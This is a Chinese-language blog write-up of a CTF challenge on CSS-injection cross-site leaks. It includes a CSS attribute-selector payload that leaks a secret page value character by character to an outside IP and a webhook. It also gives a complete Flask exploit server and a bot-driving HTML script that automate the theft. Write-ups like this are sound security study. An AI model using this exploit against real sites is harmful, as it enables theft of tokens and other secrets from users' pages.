初探css-xsleaks

OneZ3r0 Lv3

前言

之前有个storybook也是跨域打xsleaks的,这个题算是简化版,借此机会学习下

参考资料

0xGame2025

  1. DOMPurify允许的标签 https://github.com/cure53/DOMPurify/blob/1.0.8/src/tags.js
1
2
3
4
5
6
7
8
9
10
11
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

let content = "<div><style></style></div>";
// 如果单独为<style></style>就会被清理
let clean_content = DOMPurify.sanitize(content);

console.log(clean_content);
  1. CSS属性选择器,推测敏感信息 https://developer.mozilla.org/zh-CN/docs/Web/CSS/Reference/Selectors/Attribute_selectors

目标标签

1
<meta readonly name="secret" content="<%- locals.secret %>">

对应css选择器

1
2
3
meta[name="secret"][content^="<brute_chars>"]{
background: url("https://webhook.site/uuid?q=<char>");
}

每次爆破到一个char就让brute_chars+=char,继续匹配

在JavaScript中,Promise对象代表一个异步操作的最终完成(或失败)及其结果值。Promise构造函数接受一个函数(称为执行器函数)作为参数,这个函数有两个参数:resolve和reject,它们都是函数

1
2
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
await sleep(1000);
  • resolve 是 Promise 内部给我们的一个函数
  • setTimeout(resolve, ms) 意思是:ms 毫秒后调用 resolve
  • 调用 resolve() = 告诉 Promise:”时间到了,你可以结束了”

使用await sleep(1000)时,await会等待这个Promise变为已完成状态,然后继续执行后面的代码。

修脚本修了半天,远程速度很慢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from flask import Flask, request, make_response
import requests, string, re, time, base64
import threading

app = Flask(__name__)

# global variables
next_note_id = ['default_id', 'default_char']
flag = '0xGame{CSS_Can_Also_Inject'
charset = '-_}' + string.ascii_letters + string.digits
PIXEL_GIF = base64.b64decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7')

# 添加全局标志来控制线程
stop_update_flag = False
current_update_thread = None

challenge_url = 'http://3000-86a84375-b5bc-4861-b128-f17b7ca5f791.challenge.ctfplus.cn/'
s = requests.Session()
s.post(challenge_url + 'register', data={'username':'oz', 'password':'oz@1234'})
s.post(challenge_url + 'login', data={'username':'oz', 'password':'oz@1234'})

payload = """
<div><style>
head, meta {{
display: block;
}}
meta[name="secret"][content^="{}"]{{
background: url("http://8.140.237.13:8000/leak?q={}");
}}
</style></div>
"""

# 修改exploit function,添加停止检查
def update():
global next_note_id, stop_update_flag
stop_update_flag = False # 重置停止标志

for char in charset:
# 检查是否应该停止
if stop_update_flag:
print("[*] Update thread stopped")
return
content = payload.format(flag+char, char)
res = s.post(challenge_url + 'paste', data={'content': content})
new_id = re.findall('"/view/(.*)?"', res.text)[0]
time.sleep(5)
next_note_id = [new_id, char]

# 每隔2min自动访问/page的进程
def report():
global current_update_thread

# 第一次report
s.post(challenge_url + 'report', data={'url':'http://8.140.237.13:8000/page'})

# 等bot登录完
time.sleep(8)
current_update_thread = threading.Thread(target=update)
current_update_thread.start()
print("[*] Started update thread!")

while next_note_id != 'done':
time.sleep(120-5)
s.post(challenge_url + 'report', data={'url':'http://8.140.237.13:8000/page'})

# server router
@app.route('/start')
def start():
thread = threading.Thread(target=report)
thread.start()
return 'OK'

@app.route('/page')
def page():
with open('fallback.html', 'r') as f:
content = f.read()
return content

@app.route('/next')
def next():
print(next_note_id)
return next_note_id[0]

@app.route('/leak')
def leak():
global flag, next_note_id, stop_update_flag, current_update_thread

char = request.args.get('q')
# 更新全局的flag前缀
flag += char
print(flag)

# 停止前面的update进程
stop_update_flag = True
# 等待一小段时间确保线程收到停止信号
time.sleep(5)
if char == '}':
next_note_id[0] = 'done'
else:
# 启动新的update进程
current_update_thread = threading.Thread(target=update)
current_update_thread.start()
print("[*] Started new update thread")

response = make_response(PIXEL_GIF)
response.headers['Content-Type'] = 'image/gif'
return response

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

fallback.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
(async () => {
while (true) {
let res = await fetch('http://8.140.237.13:8000/next');
let noteID = await res.text();
if (noteID == 'done') {
break;
}
let w = window.open('http://localhost:3000/view/' + noteID);
await sleep(5000);
w.close();
}
})();
</script>
  • 标题: 初探css-xsleaks
  • 作者: OneZ3r0
  • 创建于 : 2025-12-01 10:57:56
  • 更新于 : 2026-02-20 20:05:18
  • 链接: https://blog.onez3r0.top/2025/12/01/css-xsleaks/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
初探css-xsleaks